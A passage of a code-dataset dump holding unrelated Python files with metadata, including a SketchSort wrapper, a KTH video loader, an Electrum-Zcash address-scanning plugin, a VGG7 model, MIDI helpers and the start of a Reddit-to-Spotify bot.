input2.csv\neCode,tgdate,term,val1,val2,val3,val4,val5\n1990,20100120,0,4,9,1,8,7\n2499,20100120,0,2,6,3,4,10\n2784,20100120,0,3,10,1,7,4\n3109,20100120,0,2,8,1,3,10\n3114,20100120,0,4,7,2,3,10\n6364,20100120,0,8,4,3,1,9\n8154,20100120,0,6,7,5,1,9\n8703,20100120,0,5,4,2,6,7\n9959,20100120,0,3,10,1,5,9\n1990,20100121,1,9,1,8,7,3\n2499,20100121,1,5,2,3,10,9\n2784,20100121,1,4,9,1,8,7\n3594,20100122,2,4,9,1,8,7\n\n\n$ msketchsort.py i=input2.csv tid=eCode,tgdate e=val1,val2,val3,val4,val5 th=0.05 wf=term ws=1 o=out2.csv\nSketchSort version 0.0.8\nWritten by Yasuo Tabei\n\ndeciding parameters such that the missing edge ratio is no more than 1e-05\ndecided parameters:\nhamming distance threshold: 1\nnumber of blocks: 4\nnumber of chunks: 14\n.\n.\n.\n\n$ more out2.csv\ndistance,eCode,tgdate,eCode2,tgdate2\n0,1990,20100120,2784,20100121\n0,2784,20100121,3594,20100122\n\n\"\"\"\n\n\tverInfo=\"version=0.1\"\n\n\tparamter = {\t\n\t\t\"e\":\"str\",\n\t\t\"tid\":\"fld\", # \"str\"\n\t\t\"dist\":\"str\",\n\t\t\"th\":\"float\",\n\t\t\"mr\":\"float\",\n\t\t\"wf\":\"fld\",\n\t\t\"ws\":\"int\",\n\t\t\"i\":\"file\",\n\t\t\"o\":\"file\",\n\t\t\"T\":\"str\",\n\t\t\"seed\":\"int\",\n\t\t\"uc\":\"bool\"\n\t}\n\n\n\tparamcond = {\t\n\t\t\"hissu\": [\"tid\",\"i\",\"e\"]\n\t}\t\n\n\n\tdef help():\n\t\tprint(msketchsort.helpMSG) \n\n\tdef ver():\n\t\tprint(msketchsort.verInfo)\n\n\tdef __param_check_set(self , kwd):\n\n\t\t# 存在チェック\n\t\tfor k,v in kwd.items():\n\t\t\tif not k in msketchsort.paramter\t:\n\t\t\t\traise( Exception(\"KeyError: {} in {} \".format(k,self.__class__.__name__) ) )\n\n\t\tself.msgoff = True\n\t\tself.oFile = kwd[\"o\"] if \"o\" in kwd else None\n\t\tself.iFile = kwd[\"i\"] if \"i\" in kwd else None\n\n\t\tif \"e\" in kwd :\n\t\t\tif isinstance(kwd[\"e\"],list) :\n\t\t\t\tself.elem = kwd[\"e\"]\n\t\t\telif isinstance(kwd[\"e\"],str) :\n\t\t\t\tself.elem = kwd[\"e\"].split(\",\")\n\t\t\telse:\n\t\t\t\traise( Exception(\"can't use type : kwd e : {} \".format(kwd[\"e\"].__name__) ) )\n\t\telse:\n\t\t\tself.elem =[]\n\n\t\tif \"tid\" in kwd :\n\t\t\tif isinstance(kwd[\"tid\"],list) :\n\t\t\t\tself.tidH = kwd[\"tid\"]\n\t\t\telif isinstance(kwd[\"tid\"],str) :\n\t\t\t\tself.tidH = kwd[\"tid\"].split(\",\")\n\t\t\telse:\n\t\t\t\traise( Exception(\"can't use type : kwd tid : {} \".format(kwd[\"tid\"].__name__) ) )\n\t\telse:\n\t\t\tself.tidH =[]\n\n\n\t\tself.dist = kwd[\"dist\"] if \"dist\" in kwd else \"C\"\n\t\tself.th = float(kwd[\"th\"]) if \"th\" in kwd else 0.01\n\t\tself.mr = float(kwd[\"mr\"]) if \"mr\" in kwd else 0.00001\n\n\t\tself.wfH = kwd[\"wf\"].split(\",\") if \"wf\" in kwd else None\n\n\t\tif \"wf\" in kwd :\n\t\t\tif isinstance(kwd[\"wf\"],list) :\n\t\t\t\tself.wfH = kwd[\"wf\"]\n\t\t\telif isinstance(kwd[\"wf\"],str) :\n\t\t\t\tself.wfH = kwd[\"wf\"].split(\",\")\n\t\t\telse:\n\t\t\t\traise( Exception(\"can't use type : kwd tid : {} \".format(kwd[\"tid\"].__name__) ) )\n\t\telse:\n\t\t\tself.wfH = None\n\n\t\tself.ws = int(kwd[\"ws\"]) if \"ws\" in kwd else 0\n\t\tself.seed = int(kwd[\"seed\"]) if \"seed\" in kwd else 1\n\t\tself.uc = kwd[\"uc\"] if \"uc\" in kwd else False\n\n\n\n\t\timport time\n\t\tself.pt = int(time.time())\n\n\n\t\tif self.dist==\"H\" and self.th <1.0:\n\t\t\traise( Exception(\"The range of th= is different in {} \".format(k,self.__class__.__name__) ) )\n\n\t\tself.workf = nu.Mtemp()\n\n\tdef __cmdline(self):\n\t\tcmdline = self.__class__.__name__\n\t\tfor k,v in self.args.items():\n\t\t\tif type(v) is bool :\n\t\t\t\tif v == True :\n\t\t\t\t\tcmdline += \" -\" + str(k)\n\t\t\telse:\n\t\t\t\tcmdline += \" \" + str(k) + \"=\" + str(v)\n\t\treturn cmdline \n\n\tdef __init__(self,**kwd):\n\t\t#パラメータチェック\n\t\tself.args = kwd\n\t\tself.__param_check_set(kwd)\n\n\n\n\t# ============\n\t# entry point\n\tdef run(self,**kw_args):\n\n\t\tos.environ['KG_ScpVerboseLevel'] = \"2\"\n\t\tif \"msg\" in kw_args:\n\t\t\tif kw_args[\"msg\"] == \"on\":\n\t\t\t\tos.environ['KG_ScpVerboseLevel'] = \"4\"\n\n\t\tln=\"#{@pt}line\"\n\n\t\t# make the line number\n\t\tln = \"{}line\".format(self.pt)\n\n\t\txxmap = self.workf.file()\n\t\tsdata = self.workf.file()\n\n\t\t# convert the data for sketchport\n\t\t# mkdata\n\t\txx1 = nm.mnumber(S=0,a=ln,q=True,i=self.iFile)\n\t\tif self.wfH :\n\t\t\txx2 = nm.mcut(f=self.wfH+self.tidH+self.elem,i=xx1)\n\t\telse:\n\t\t\tself.wfH = [\"{}wf\".format(self.pt)]\n\t\t\txx2 = nm.msetstr(v=0,a=self.wfH,i=xx1)\n\t\t\txx2 <<= nm.mcut(f=self.wfH+self.tidH+self.elem)\n\n\t\tfmap = nm.mcut(f=[ln]+self.tidH,i=xx1,o=xxmap)\n\t\txx2 <<= nm.mcut(f=self.wfH+self.elem,nfno=True) \n\t\txx2 <<= nm.cmd(\"tr ',' ' '\")\n\t\txx2 <<= nm.mwrite(o=sdata)\n\t\tnm.runs([fmap,xx2])\n\n\t\t# do sort\n\t\toutf = self.workf.file()\n\t\tpara = {}\n\t\tif self.dist==\"C\" :\n\t\t\tpara[\"cosdist\"] = self.th\n\t\telif self.dist==\"H\" :\n\t\t\tpara[\"hamdist\"] = self.th\n\n\n\t\tif not self.uc :\n\t\t\tpara[\"centering\"] = True \n\t\t\t\n\t\tpara[\"auto\"] = True \n\t\tpara[\"windowsize\"] = self.ws\n\t\tpara[\"seed\"] = self.seed\n\t\tpara[\"missingratio\"] = self.mr\n\t\tpara[\"i\"] = sdata\n\t\tpara[\"o\"] = outf\n\t\tstatus = extMining.sketchsort(para)\t\t\n\t\tif status: \n\t\t\traise Exception(\"#ERROR# checking sketchsort messages\")\n\t\ttmp=[]\n\t\tfor val in self.tidH :\n\t \t tmp.append(\"{}:{}2\".format(val,val))\n\t\ttid2=\",\".join(tmp)\n\n\t\tf = nm.mread(i=outf) \n\t\tf <<= nm.cmd(\"tr ' ' ',' \")\n\t\tf <<= nm.mcut(nfni=True,f=\"0:eline1,1:eline2,2:distance\")\n\t\tf <<= nm.mfsort(f=\"eline*\")\n\t # 行番号に対応するtidを取得\n\t\tf <<= nm.mjoin(k=\"eline1\",K=\"{}line\".format(self.pt),f=self.tidH,m=xxmap)\n\t\tf <<= nm.mjoin(k=\"eline2\",K=\"{}line\".format(self.pt),f=tid2,m=xxmap)\n\t\tf <<= nm.msortf(f=\"eline1%n,eline2%n\")\n\t\tf <<= nm.mcut(r=True,f=\"eline1,eline2\")\n\t\tf <<= nm.msortf(f=self.tidH)\n\t\tf <<= nm.mfldname(q=True,o=self.oFile)\n\t\tf.run()\n\t\tnu.mmsg.endLog(self.__cmdline())\n","sub_path":"nysol/mining/msketchsort.py","file_name":"msketchsort.py","file_ext":"py","file_size_in_byte":7570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"543685077","text":"import os\nimport shutil\nimport package.debug as debug\n\nclass NewTool():\n def __init__(self):\n self.name = \"HiggsBounds\" \n\n def run(self, settings, spc_file, temp_dir, log):\n # Settings\n command = settings['Command']\n options = settings['Options']\n output_file = settings['OutputFile']\n\n # Clean up\n if os.path.exists(output_file):\n os.remove(output_file)\n\n # Run HiggsBounds\n debug.command_line_log(command + \" \" + options + \" \" + temp_dir + \"/\", log)\n\n # Reading the Output file\n if os.path.exists(output_file):\n for line in open(output_file):\n li = line.strip()\n if not li.startswith(\"#\"):\n results = list(filter(None, line.rstrip().split(' ')))\n # Append output to the SPheno file\n debug.command_line_log(\"echo \\\"Block \" + self.name.upper() + \" # \\\" >> \"\n + spc_file, log)\n for i in range(1, len(results)):\n debug.command_line_log(\"echo \\\"\" + str(i) + \" \" + str(results[i])\n + \" # \\\" >> \" + spc_file, log)\n else:\n log.error(\"HiggsBounds output not written!\",\n command + \" \" + options + \" \" + temp_dir)","sub_path":"package/tools/higgsbounds.py","file_name":"higgsbounds.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"172115176","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 4 15:22:58 2017\n\n@author: loop\n\"\"\"\nfrom __future__ import print_function\nimport torch.utils.data as data\nimport torch\n\nimport os\nimport numpy as np\nimport random\nimport imageio\nimport cv2\nimport joblib\n\n# proces data with parallel, must outside of class\ndef load_kth_data(f_name, data_path, image_size, L):\n \"\"\"\n :param f_name: video name\n :param data_path: data path\n :param image_size: image size\n :param L: extract L frame of video\n :return: sequence frame of K+T len\n \"\"\"\n\n tokens = f_name.split()\n vid_path = os.path.join(data_path, tokens[0] + \"_uncomp.avi\")\n vid = imageio.get_reader(vid_path, \"ffmpeg\") # load video\n low = int(tokens[1]) # start of video\n # make sure the len of video is than L\n high = np.min([int(tokens[2]), vid.get_length()]) - L + 1\n\n # the len of video is equal L\n if (low == high):\n stidx = 0\n else:\n # the len of video is less-than L, print video path and the error for next line\n if (low >= high): print(vid_path)\n # the len of video greater than L, and the start is random of low-high\n stidx = np.random.randint(low=low, high=high)\n\n # extract video of L len [in_channel, image_w, image_h, sequence]\n seq = np.zeros((1, image_size, image_size, L), dtype=\"float32\")\n for t in xrange(L):\n img = cv2.cvtColor(cv2.resize(vid.get_data(stidx + t), (image_size, image_size)),\n cv2.COLOR_RGB2GRAY)\n seq[0, :, :, t] = img[:, :]\n\n return seq\n\n# load content picture of KTH data\ndef load_kth_picture(f_name, data_path, image_size):\n \"\"\"\n :param f_name: video name\n :param data_path: data path\n :param image_size: image size\n :return: sequence frame of K+T len\n \"\"\"\n\n tokens = f_name.split()\n vid_path = os.path.join(data_path, tokens[0] + \"_uncomp.avi\")\n vid = imageio.get_reader(vid_path, \"ffmpeg\") # load video\n low = int(tokens[1]) # start of video\n\n picture = np.zeros((1, image_size, image_size), dtype=\"float32\")\n img = cv2.cvtColor(cv2.resize(vid.get_data(low), (image_size, image_size)),\n cv2.COLOR_RGB2GRAY)\n picture[0, :, :] = img[:, :]\n\n return picture\n\nclass KTH(data.Dataset):\n\n train_file_dir = \"train_data_list_trimmed.txt\"\n test_file_dir = \"\"\n\n def __init__(self, root, batch_size, image_size, K, T,\n train = True, transform=None, shuffle=True):\n self.root = root\n self.train = train\n self.transform = transform\n self.batch_size = batch_size\n self.image_size = image_size\n self.K = K\n self.T = T\n\n self.trainFiles = \"\"\n self.testFiles = \"\"\n self.mini_batches = \"\"\n\n if self.train:\n with open(os.path.join(root, self.train_file_dir), \"r\") as f:\n self.trainFiles = f.readlines()\n self.mini_batches = self.get_minibatches_idx(len(self.trainFiles), self.batch_size, shuffle=shuffle)\n\n def __getitem__(self, index):\n\n # read video data of mini-batch with parallel method\n Ls = np.repeat(np.array([self.T + self.K]), self.batch_size, axis=0) # video length of past and feature\n paths = np.repeat(self.root, self.batch_size, axis=0)\n files = np.array(self.trainFiles)[self.mini_batches[index][1]]\n shapes = np.repeat(np.array([self.image_size]), self.batch_size, axis=0)\n\n with joblib.Parallel(n_jobs=self.batch_size) as parallel:\n output = parallel(joblib.delayed(load_kth_data)(f, p, img_size, l)\n for f, p, img_size, l in zip(files,\n paths,\n shapes,\n Ls))\n # save batch data 1 is in_channel\n seq_batch = np.zeros((self.batch_size, 1, self.image_size, self.image_size,\n self.K + self.T), dtype=\"float32\")\n for i in xrange(self.batch_size):\n seq_batch[i] = output[i]\n\n\n # load picture of KTH as content. only one batch\n pic_batch = np.zeros((self.batch_size, 1, self.image_size, self.image_size),\n dtype=\"float32\")\n pic = load_kth_picture(self.trainFiles[index],self.root,self.image_size)\n pic_batch[0] = pic\n\n\n # doing this so that it is consistent with all other datasets\n # to return a PIL Image\n\n if self.transform is not None:\n seq_batch = self.transform(seq_batch)\n\n pic_batch = self.transform(pic_batch)\n\n # compute subtraction between t and t-1\n diff_batch = torch.zeros(self.batch_size, 1, self.image_size, self.image_size, self.K-1)\n for t in xrange(1, self.K):\n previous = seq_batch[:, :, :, :, t-1].add(1.0).div(2.0) # convert gray image[0-1]\n current = seq_batch[:, :, :, :, t].add(1.0).div(2.0)\n diff_batch[:, :, :, :, t-1] = current.sub(previous)\n\n # [batch, channel, H, W, sequence]\n #return seq_batch, diff_batch\n return seq_batch, diff_batch, pic_batch\n\n\n def __len__(self):\n if self.train:\n return len(self.trainFiles)\n else:\n return len(self.testFiles)\n\n def get_minibatches_idx(self, n, minibatch_size, shuffle=False):\n \"\"\"\n :param n: len of data\n :param minibatch_size: minibatch size of data\n :param shuffle: shuffle the data\n :return: len of minibatches and minibatches\n \"\"\"\n\n idx_list = np.arange(n, dtype=\"int32\")\n\n # shuffle\n if shuffle:\n random.shuffle(idx_list) # also use torch.randperm()\n\n # segment\n minibatches = []\n minibatch_start = 0\n for i in range(n // minibatch_size):\n minibatches.append(idx_list[minibatch_start:\n minibatch_start + minibatch_size])\n minibatch_start += minibatch_size\n\n # processing the last batch\n if (minibatch_start != n):\n minibatches.append(idx_list[minibatch_start:])\n\n return zip(range(len(minibatches)), minibatches)\n\n","sub_path":"KTH.py","file_name":"KTH.py","file_ext":"py","file_size_in_byte":6402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"553198052","text":"#!/usr/bin/env python\n\nfrom bson.objectid import ObjectId\nfrom flask import Response, send_file\nimport gridfs\nfrom StringIO import StringIO\n\nimport utils\n\nclass image():\n \"\"\" Initialize this with a string of an mdb Object ID, and use\n the render_response() method to create an http response of the\n image. Fuck a file system: props to the immortal rschulz. \"\"\"\n\n def __init__(self, img_id):\n try:\n img_oid = ObjectId(img_id)\n except:\n raise utils.InvalidUsage('Invalid OID! Image OIDs must be 12-byte input or 24-character hex string!', status_code=400)\n try:\n self.img = gridfs.GridFS(utils.mdb).get(img_oid)\n except gridfs.errors.NoFile:\n self.img = None\n\n def render_response(self):\n \"\"\" Renders an http response. \"\"\"\n if self.img is None:\n return Response(response=\"Image not found!\", status=404)\n image_file = StringIO(self.img.read())\n return send_file(image_file, mimetype=\"image/png\")\n\n","sub_path":"v2/api/gridfs_files.py","file_name":"gridfs_files.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"598616824","text":"# class Node:\n# def __init__(self, data=None):\n# self.data = data\n# self.next = None\n# self.prev = None\nimport re\nlinere = re.compile('[a-z]+')\n# m = linere.match(l)\n# if m:\n# m.group(0)\n\nlines = []\nn = input()\nwhile n != 'done':\n lines.append(n)\n n = input()\n \npreamblelen = 25\ni = 0\nnums = []\nfor l in lines:\n nums.append(int(l))\n \n# for i in range(preamblelen, len(nums)):\n# issum = False\n# for j in range(i - preamblelen - 1, i):\n# for k in range(j + 1, i):\n# if nums[j] + nums[k] == nums[i]:\n# print(nums[i], '=', nums[j], '+', nums[k])\n# issum = True\n# if not issum:\n# print(nums[i])\n# break\n\nt = 556543474\nfor i in range(len(nums)):\n tot = 0\n j = i\n while tot < t:\n tot += nums[j]\n j += 1\n if tot > t:\n continue\n if tot == t:\n vals = [nums[k] for k in range(i, j)]\n print(i, j, max(vals) + min(vals))\n \n\n","sub_path":"2020/day9/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"205204699","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport asyncio\nimport attr\nfrom functools import partial\nfrom collections import OrderedDict\nfrom enum import IntEnum\n\nfrom aiorpcx import TaskGroup\n\nfrom electrum_zcash import bitcoin\nfrom electrum_zcash.i18n import _\nfrom electrum_zcash.logging import Logger\nfrom electrum_zcash.network import Network\nfrom electrum_zcash.plugin import BasePlugin\n\n\ndef balance_total(*, confirmed, unconfirmed):\n return confirmed + unconfirmed\n\n\n@attr.s\nclass Scan:\n derive = attr.ib(kw_only=True)\n create_addr = attr.ib(kw_only=True)\n num_addrs = attr.ib(kw_only=True)\n gap = attr.ib(kw_only=True)\n start_idx = attr.ib(kw_only=True)\n next_idx = attr.ib(kw_only=True)\n for_change = attr.ib(kw_only=True)\n addrs = attr.ib(default=attr.Factory(dict), kw_only=True)\n tasks = attr.ib(default=attr.Factory(dict), kw_only=True)\n balances = attr.ib(default=attr.Factory(dict), kw_only=True)\n errors = attr.ib(default=attr.Factory(dict), kw_only=True)\n active = attr.ib(kw_only=True, default=True)\n\n def derive_addrs(self, cnt):\n for i in range(self.next_idx, self.next_idx + cnt):\n self.addrs[i] = self.derive(i)\n self.next_idx += cnt\n\n def create_new_addrs(self, wallet):\n for i, balance in self.balances.items():\n if balance > 0:\n with wallet.lock:\n while self.start_idx <= i + self.gap:\n addr = self.create_addr()\n if i not in self.addrs:\n self.addrs[i] = addr\n self.start_idx = self.num_addrs()\n if self.next_idx < self.start_idx:\n self.next_idx = self.start_idx\n self.balances[i] = 0\n\n @property\n def uncompleted(self):\n return set(self.addrs) - set(self.balances)\n\n @classmethod\n def get_key(cls, *, for_change):\n key = 'main'\n subkey = 'change' if for_change else ''\n return f'{key}_{subkey}' if subkey else f'{key}'\n\n @property\n def key(self):\n return Scan.get_key(for_change=self.for_change)\n\n @property\n def title(self):\n title = _('Main Account')\n subtitle = _('Change') if self.for_change else ''\n return f'{title} {subtitle}' if subtitle else f'{title}'\n\n\n@attr.s\nclass WalletScan:\n progress = attr.ib(kw_only=True, default=0)\n running = attr.ib(kw_only=True, default=False)\n scans = attr.ib(kw_only=True, default=attr.Factory(OrderedDict))\n error = attr.ib(kw_only=True, default=None)\n\n\nclass ScanOverGapPlugin(BasePlugin, Logger):\n\n MIN_SCAN_CNT = 5\n DEF_SCAN_CNT = 20\n MAX_SCAN_CNT = 10_000\n\n MSG_TITLE = _('Scan Over Gap')\n MSG_SCAN_TITLE = _('Scan current wallet addresses beyond gap limits'\n ' to search lost coins.')\n MSG_SCAN_COUNT = _('Count to scan:')\n MSG_PROGRESS = _('Progress:')\n MSG_RESET = _('Reset scans')\n MSG_Q_RESET = _('Reset all scans?')\n MSG_ADD_FOUND = _('Add found coins to wallet')\n MSG_SCAN_NEXT = _('Scan next {} addresses')\n MSG_SCAN = _('Scan')\n\n class Columns(IntEnum):\n KEY = 0\n TITLE = 1\n START_IDX = 2\n SCANNED_CNT = 3\n FOUND_BALANCE = 4\n\n COLUMN_HEADERS = ['', '', _('Addresses'), _('Scanned'), _('Found')]\n\n def __init__(self, parent, config, name):\n super(ScanOverGapPlugin, self).__init__(parent, config, name)\n self.wallet_scans = {}\n self.wallet_scans_lock = asyncio.Lock()\n self.format_amount = config.format_amount_and_units\n\n def is_available(self):\n if Network.get_instance():\n return True\n self.logger.warning(f'Plugin {self.name} unavailable in offline mode')\n return False\n\n async def on_progress(self, wallet, progress):\n async with self.wallet_scans_lock:\n wallet_scan = self.wallet_scans.get(wallet)\n if not wallet_scan:\n self.logger.warning(f'wallet_scan not found for {wallet}')\n return\n wallet_scan.progress = progress\n self.logger.debug(f'scan progress for {wallet} is {progress}')\n\n async def on_completed(self, wallet):\n async with self.wallet_scans_lock:\n wallet_scan = self.wallet_scans.get(wallet)\n if not wallet_scan:\n self.logger.warning(f'wallet_scan not found for {wallet}')\n return\n wallet_scan.running = False\n self.logger.debug(f'scan completed for {wallet}')\n\n async def on_error(self, wallet, e):\n async with self.wallet_scans_lock:\n wallet_scan = self.wallet_scans.get(wallet)\n if not wallet_scan:\n self.logger.warning(f'wallet_scan not found for {wallet}')\n return\n wallet_scan.error = e\n wallet_scan.running = False\n self.logger.debug(f'scan error for {wallet}: {str(e)}')\n\n async def init_scans(self, wallet, *, reset=False):\n w = wallet\n db_num_change = w.db.num_change_addresses\n db_num_receiving = w.db.num_receiving_addresses\n new_scans_cnt = 0\n async with self.wallet_scans_lock:\n ws = self.wallet_scans.get(w) if not reset else None\n if not ws:\n self.wallet_scans[w] = ws = WalletScan()\n for for_change in [0, 1]:\n b_chg = bool(for_change)\n key = Scan.get_key(for_change=for_change)\n if key not in ws.scans:\n derive = partial(w.derive_address, for_change)\n create_addr = partial(w.create_new_address, b_chg)\n num_addrs = (partial(db_num_change)\n if for_change else\n partial(db_num_receiving))\n gap = w.gap_limit_for_change if for_change else w.gap_limit\n start_idx = num_addrs()\n s = Scan(derive=derive, create_addr=create_addr,\n num_addrs=num_addrs, gap=gap,\n start_idx=start_idx, next_idx=start_idx,\n for_change=for_change)\n new_scans_cnt +=1\n ws.scans[key] = s\n return new_scans_cnt\n\n async def do_scan(self, wallet, cnt):\n w = wallet\n try:\n async with self.wallet_scans_lock:\n ws = self.wallet_scans.get(w)\n if not ws or ws.running:\n return\n ws.running = True\n scans = list(ws.scans.values())\n n = Network.get_instance()\n loop = n.asyncio_loop\n done_cnt = 0\n to_scan_cnt = 0\n for s in scans:\n if not s.active:\n continue\n to_scan_cnt += len(s.uncompleted)\n if to_scan_cnt:\n self.logger.info(f'total count to rescan: {to_scan_cnt}')\n else:\n for s in scans:\n if not s.active:\n continue\n async with self.wallet_scans_lock:\n await loop.run_in_executor(None, s.derive_addrs, cnt)\n to_scan_cnt += cnt\n self.logger.info(f'total count to scan: {to_scan_cnt}')\n if not to_scan_cnt:\n return\n async with TaskGroup() as group:\n for s in scans:\n for i, addr in s.addrs.items():\n if i in s.balances:\n continue\n script = bitcoin.address_to_script(addr)\n scripthash = bitcoin.script_to_scripthash(script)\n coro = n.get_balance_for_scripthash(scripthash)\n s.tasks[i] = await group.spawn(coro)\n while True:\n task = await group.next_done()\n if task is None:\n break\n done_cnt += 1\n await self.on_progress(w, 100*done_cnt/to_scan_cnt)\n for s in scans:\n for i, task in s.tasks.items():\n try:\n balance = task.result()\n s.balances[i] = balance_total(**balance)\n if i in s.errors:\n s.errors.pop(i)\n except BaseException as e:\n self.logger.info(f'Exception on get_balance {repr(e)}')\n s.errors[i] = e\n s.tasks.clear()\n await self.on_completed(w)\n except Exception as e:\n self.logger.info(f'Exception during wallet_scan: {repr(e)}')\n await self.on_error(w, e)\n\n async def add_found(self, wallet):\n w = wallet\n try:\n n = Network.get_instance()\n loop = n.asyncio_loop\n async with self.wallet_scans_lock:\n ws = self.wallet_scans.get(w)\n if not ws or ws.running:\n return\n ws.running = True\n scans = list(ws.scans.values())\n for s in scans:\n await loop.run_in_executor(None, s.create_new_addrs, w)\n await self.on_completed(w)\n except Exception as e:\n self.logger.info(f'Exception during add_found: {repr(e)}')\n await self.on_error(w, e)\n","sub_path":"electrum_zcash/plugins/scan_over_gap/scan_over_gap.py","file_name":"scan_over_gap.py","file_ext":"py","file_size_in_byte":9534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"187799576","text":"# coding:utf-8\r\nimport xlrd\r\nimport xml.etree.cElementTree as et\r\n\r\nfrom parse_excel import ParseExcel2\r\n\r\n\r\nclass AddText(object):\r\n def __init__(self, root):\r\n self.root = root\r\n # self.node_tags = node_tags\r\n # self.node_values = node_values\r\n\r\n def add_host_text(self):\r\n host_nodes = ['host', 'name', 'proxy', 'status', 'ipmi_authtype',\r\n 'ipmi_privilege', 'ipmi_username', 'templates','groups',\r\n 'interfaces', 'applications', 'items', 'discovery_rules',\r\n 'macros', 'inventory']\r\n excel_object = ParseExcel2('ab.xlsx', 'hosts')\r\n for col_num in range(12):\r\n col_values = excel_object.get_col_values(col_num)\r\n print(col_values)\r\n for num, node in enumerate(self.root.iter(col_values[0])):\r\n print(num, node.tag)\r\n # node.text = col_values[num+1]\r\n # print(node.text)\r\n\r\n\r\n","sub_path":"create_tag_text.py","file_name":"create_tag_text.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"304623232","text":"import os\n\nfrom flask import Blueprint, render_template, request, redirect\n\nfrom apps.demo.context import Context\n\nbp = Blueprint(\"demo\", __name__, url_prefix=\"/demo\")\nbp.template_folder = os.path.join(os.path.dirname(__file__), \"templates\")\ncontext = Context()\n\n\n@bp.route(\"\", methods=[\"GET\"])\ndef index():\n return redirect(\"demo/books\"), 302\n\n\n@bp.route(\"/books\", methods=[\"GET\", \"POST\"])\ndef books():\n response = {}\n if request.method == \"POST\":\n if request.form.get(\"get_by_title\"):\n response = context.book_service.get(\n request.form[\"get_by_title\"],\n )\n else:\n response = context.book_service.add(\n request.form[\"title\"],\n request.form[\"author\"],\n request.form[\"publisher\"],\n int(request.form[\"pages\"]),\n )\n\n return render_template(\"/index.html\", response=response)\n","sub_path":"apps/demo/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"174793841","text":"import torch\nimport torch.nn as nn\n\ngradient_saver = []\nbatch_counter = 0\n\n\ndef save_gradient(values):\n global batch_counter, gradient_saver\n if batch_counter == 39000:\n gradient_saver.append(values)\n batch_counter += 1\n\n\nclass EQuant(torch.autograd.Function):\n\n @staticmethod\n def forward(ctx, x):\n return x\n\n @staticmethod\n def backward(ctx, dx):\n save_gradient(dx)\n return dx, None\n\n\nclass VGG7(nn.Module):\n def __init__(self, num_classes=10):\n super(VGG7, self).__init__()\n self.main = nn.Sequential(\n nn.Conv2d(3, 128, 3, padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n\n nn.Conv2d(128, 128, 3, padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.MaxPool2d(2),\n\n nn.Conv2d(128, 256, 3, padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n\n nn.Conv2d(256, 256, 3, padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.MaxPool2d(2),\n\n nn.Conv2d(256, 512, 3, padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n\n nn.Conv2d(512, 512, 3, padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n\n nn.MaxPool2d(2))\n\n self.fc = nn.Sequential(\n nn.Linear(4 * 4 * 512, 1024),\n nn.ReLU(),\n nn.Linear(1024, num_classes))\n self.equant = EQuant.apply\n\n def forward(self, x):\n x = self.main(x)\n x = x.view(x.shape[0], -1)\n x = self.equant(x)\n x = self.fc(x)\n return x\n","sub_path":"ICLR/REPRO-CODE/VANILLA/model_vanilla.py","file_name":"model_vanilla.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"598750393","text":"NOTES = ['C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#', 'A', 'A#', 'B']\nOCTAVES = list(range(11))\nNOTES_IN_OCTAVE = len(NOTES)\n\nerrors = {\n 'program': 'Bad input, please refer this spec-\\n'\n 'http://www.electronics.dit.ie/staff/tscarff/Music_technology/midi/program_change.htm',\n 'notes': 'Bad input, please refer this spec-\\n'\n 'http://www.electronics.dit.ie/staff/tscarff/Music_technology/midi/midi_note_numbers_for_octaves.htm'\n}\n\n\ndef number_to_note(number):\n octave = number // NOTES_IN_OCTAVE\n assert octave in OCTAVES, errors['notes']\n assert 0 <= number <= 127, errors['notes']\n note = NOTES[number % NOTES_IN_OCTAVE]\n\n return note, octave\n\n\ndef note_to_number(note, octave):\n assert note in NOTES, errors['notes']\n assert octave in OCTAVES, errors['notes']\n\n note = NOTES.index(note)\n note += (NOTES_IN_OCTAVE * octave)\n\n assert 0 <= note <= 127, errors['notes']\n\n return note","sub_path":"pdaugment/midiconvert.py","file_name":"midiconvert.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"538632588","text":"import praw\nimport spotipy\nimport re\nimport configparser\nimport spotipy.oauth2 as oauth2\nimport traceback\nimport json\n\nconfig = configparser.ConfigParser()\nconfig.read('spotipy.cfg')\nclient_id = config.get('SPOTIFY', 'CLIENT_ID')\nclient_secret = config.get('SPOTIFY', 'CLIENT_SECRET')\nspotify_username = config.get('SPOTIFY', 'USERNAME')\n\nimport spotipy.util as util\ntoken = util.prompt_for_user_token(\n\t\t\tusername=spotify_username, \n\t\t\tscope='playlist-modify-public', \n\t\t\tclient_id=client_id, \n\t\t\tclient_secret=client_secret, \n\t\t\tredirect_uri=\"http://localhost:8888/callback/\",\n\t\t\t)\nspotify = spotipy.Spotify(auth=token)\n\nr = praw.Reddit('bot1')\n\ndef valid_submission(sub, regex_pattern):\n\t\"\"\"Parse submission and decide whether we'll look it up on Spotify\"\"\"\n\t#print(sub.title, 